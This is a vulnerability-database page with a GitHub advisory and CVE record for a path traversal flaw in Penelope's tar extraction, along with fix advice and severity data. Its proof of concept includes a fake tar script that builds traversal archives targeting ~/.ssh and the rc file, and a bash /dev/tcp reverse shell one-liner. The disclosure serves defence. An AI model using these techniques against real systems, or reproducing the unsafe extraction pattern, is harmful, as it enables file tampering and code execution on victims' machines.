Vulnerability-Lookup

GHSA-F42X-P2MX-HM8R

Vulnerability from github – Published: 2026-07-29 15:34 – Updated: 2026-07-29 15:34

Summary

Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive

Details

Summary

Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.

The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.

Affected conditions

The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.

The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.

Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.

Details

The vulnerable code is in the Unix download() implementation.

Penelope creates a local download directory:

local_download_folder = self.directory / "downloads"

Later, it opens a tar archive received from the remote session:

tar = tarfile.open(mode=mode, fileobj=tar_source)

Then it extracts all members without validating archive paths:

tar.extractall(local_download_folder)

Because member names are trusted, a malicious tar archive can contain paths such as:

../../../../../home/operator/.penelope/peneloperc

This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.

The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:

with warnings.catch_warnings():
    warnings.simplefilter("ignore", category=DeprecationWarning)
    tar.extractall(local_download_folder)

The file-write impact can be chained with Penelope's rc loading behavior:

def load_rc():
    RC = Path(options.basedir / "peneloperc")
    try:
        with open(RC, "r") as rc:
            exec(rc.read(), globals())

By default, options.basedir is ~/.penelope, so the executed rc file is:

~/.penelope/peneloperc

Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.

PoC

The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.

Start Penelope in Terminal 1:

penelope -p 4444 -U -C #No upgrade and session connection needed

path1

Prepare the fake remote tar in Terminal 2:

mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true

cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time

home = os.path.expanduser("~")
target_home = home.lstrip("/")

def add_file(tar, target, data):
    data = data.encode()
    info = tarfile.TarInfo(target)
    info.size = len(data)
    info.mode = 0o644
    info.mtime = int(time.time())
    tar.addfile(info, io.BytesIO(data))

with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
    add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
    add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
    add_file(
        tar,
        "../../../../../" + target_home + "/.penelope/peneloperc",
        "open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
    )
EOF

chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy

Connect the local test shell back to Penelope in Terminal 2:

PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

path2

In Terminal 1, inside Penelope, trigger the vulnerable download:

download /tmp/penelope_dummy

Verify in Terminal 3 that files were written outside the intended download directory:

cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"

path3

Expected output includes:

Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')

In Terminal 1, inside Penelope, execute the planted rc line:

reload

Verify in Terminal 3 that peneloperc executed:

cat "$HOME/PENELOPE_RC_EXECUTED.txt"

Expected output:

peneloperc executed via reload

Cleanup:

rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy

Impact

A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.

For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:

~/.penelope/peneloperc
~/.bashrc
~/.profile
~/.config/autostart/*.desktop

For a root operator, the impact is higher because root-writable files may be overwritten.

Suggested Fix

Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, filter="data" can be used as an additional safeguard.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "penelope-shell-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T15:34:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPenelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator\u0027s machine.\n\nThe impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.\n\n### Affected conditions\n\nThe issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command.\n\nThe vulnerable behavior is related to Python\u0027s historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.\n\nPython 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.\n\n### Details\n\nThe vulnerable code is in the Unix `download()` implementation.\n\nPenelope creates a local download directory:\n\n```python\nlocal_download_folder = self.directory / \"downloads\"\n```\n\nLater, it opens a tar archive received from the remote session:\n\n```python\ntar = tarfile.open(mode=mode, fileobj=tar_source)\n```\n\nThen it extracts all members without validating archive paths:\n\n```python\ntar.extractall(local_download_folder)\n```\n\nBecause member names are trusted, a malicious tar archive can contain paths such as:\n\n```text\n../../../../../home/operator/.penelope/peneloperc\n```\n\nThis escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator.\n\nThe same extraction block also suppresses Python\u0027s `DeprecationWarning` around unsafe tar extraction:\n\n```python\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\", category=DeprecationWarning)\n    tar.extractall(local_download_folder)\n```\n\nThe file-write impact can be chained with Penelope\u0027s rc loading behavior:\n\n```python\ndef load_rc():\n    RC = Path(options.basedir / \"peneloperc\")\n    try:\n        with open(RC, \"r\") as rc:\n            exec(rc.read(), globals())\n```\n\nBy default, `options.basedir` is `~/.penelope`, so the executed rc file is:\n\n```text\n~/.penelope/peneloperc\n```\n\nSince session downloads are stored under `~/.penelope/sessions/\u003csession\u003e/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`.\n\n### PoC\n\nThe following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries.\n\nStart Penelope in Terminal 1:\n\n```bash\npenelope -p 4444 -U -C #No upgrade and session connection needed\n```\n\u003cimg width=\"1920\" height=\"337\" alt=\"path1\" src=\"https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c\" /\u003e\n\nPrepare the fake remote `tar` in Terminal 2:\n\n```bash\nmkdir -p /tmp/penelope-fakebin\nmkdir -p \"$HOME/.penelope\" \"$HOME/.ssh\"\ncp -f \"$HOME/.penelope/peneloperc\" /tmp/peneloperc.backup 2\u003e/dev/null || true\n\ncat \u003e /tmp/penelope-fakebin/tar \u003c\u003c\u0027EOF\u0027\n#!/usr/bin/env python3\nimport io\nimport os\nimport sys\nimport tarfile\nimport time\n\nhome = os.path.expanduser(\"~\")\ntarget_home = home.lstrip(\"/\")\n\ndef add_file(tar, target, data):\n    data = data.encode()\n    info = tarfile.TarInfo(target)\n    info.size = len(data)\n    info.mode = 0o644\n    info.mtime = int(time.time())\n    tar.addfile(info, io.BytesIO(data))\n\nwith tarfile.open(mode=\"w:gz\", fileobj=sys.stdout.buffer) as tar:\n    add_file(tar, \"../../../../../\" + target_home + \"/PENELOPE_CVE_PROOF.txt\", \"Penelope path traversal proof\\n\")\n    add_file(tar, \"../../../../../\" + target_home + \"/.ssh/PENELOPE_SSH_KEY.txt\", \"fake-demo-ssh_key-not-for-authentication\\n\")\n    add_file(\n        tar,\n        \"../../../../../\" + target_home + \"/.penelope/peneloperc\",\n        \"open(\u0027/\" + target_home + \"/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\\\n\u0027)\\n\"\n    )\nEOF\n\nchmod +x /tmp/penelope-fakebin/tar\ntouch /tmp/penelope_dummy\n```\n\nConnect the local test shell back to Penelope in Terminal 2:\n\n```bash\nPATH=/tmp/penelope-fakebin:$PATH bash -c \u0027bash -i \u003e\u0026 /dev/tcp/127.0.0.1/4444 0\u003e\u00261\u0027\n```\n\u003cimg width=\"1920\" height=\"1000\" alt=\"path2\" src=\"https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a\" /\u003e\n\nIn Terminal 1, inside Penelope, trigger the vulnerable download:\n\n```text\ndownload /tmp/penelope_dummy\n```\n\nVerify in Terminal 3 that files were written outside the intended download directory:\n\n```bash\ncat \"$HOME/PENELOPE_CVE_PROOF.txt\"\ncat \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\ngrep PENELOPE_RC_EXECUTED \"$HOME/.penelope/peneloperc\"\n```\n\u003cimg width=\"1920\" height=\"573\" alt=\"path3\" src=\"https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243\" /\u003e\n\nExpected output includes:\n\n```text\nPenelope path traversal proof\nfake-demo-ssh_key-not-for-authentication\nopen(\u0027/home/\u003cuser\u003e/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\n\u0027)\n```\n\nIn Terminal 1, inside Penelope, execute the planted rc line:\n\n```text\nreload\n```\n\nVerify in Terminal 3 that `peneloperc` executed:\n\n```bash\ncat \"$HOME/PENELOPE_RC_EXECUTED.txt\"\n```\n\nExpected output:\n\n```text\npeneloperc executed via reload\n```\n\nCleanup:\n\n```bash\nrm -f \"$HOME/PENELOPE_CVE_PROOF.txt\"\nrm -f \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\nrm -f \"$HOME/PENELOPE_RC_EXECUTED.txt\"\nif [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup \"$HOME/.penelope/peneloperc\"; else rm -f \"$HOME/.penelope/peneloperc\"; fi\nrm -f /tmp/peneloperc.backup\nrm -rf /tmp/penelope-fakebin\nrm -f /tmp/penelope_dummy\n```\n\n### Impact\n\nA malicious remote session can write arbitrary files on the Penelope operator\u0027s machine, limited to the permissions of the user running Penelope.\n\nFor a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:\n\n```text\n~/.penelope/peneloperc\n~/.bashrc\n~/.profile\n~/.config/autostart/*.desktop\n```\n\nFor a root operator, the impact is higher because root-writable files may be overwritten.\n\n### Suggested Fix\n\nValidate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter=\"data\"` can be used as an additional safeguard.",
  "id": "GHSA-f42x-p2mx-hm8r",
  "modified": "2026-07-29T15:34:16Z",
  "published": "2026-07-29T15:34:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brightio/penelope"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}

CVE-2026-50558 (GCVE-0-2026-50558)

Vulnerability from cvelistv5 – Published: 2026-07-29 15:34 – Updated: 2026-07-29 17:59

Title

Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive

Summary

Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/brightio/penelope/security/adv…	x_refsource_CONFIRM
https://github.com/brightio/penelope/commit/a040a…	x_refsource_MISC
https://github.com/brightio/penelope/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
brightio	penelope	Affected: < 0.20.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-50558",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T17:59:13.087639Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-29T17:59:48.113Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "penelope",
          "vendor": "brightio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.20.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-29T15:34:05.042Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
        },
        {
          "name": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
        },
        {
          "name": "https://github.com/brightio/penelope/releases/tag/v0.20.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
        }
      ],
      "source": {
        "advisory": "GHSA-f42x-p2mx-hm8r",
        "discovery": "UNKNOWN"
      },
      "title": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-50558",
    "datePublished": "2026-07-29T15:34:05.042Z",
    "dateReserved": "2026-06-04T21:34:34.426Z",
    "dateUpdated": "2026-07-29T17:59:48.113Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-F42X-P2MX-HM8R

Summary

Affected conditions

Details

PoC

Impact

Suggested Fix

CVE-2026-50558 (GCVE-0-2026-50558)

Tags

Sightings

Nomenclature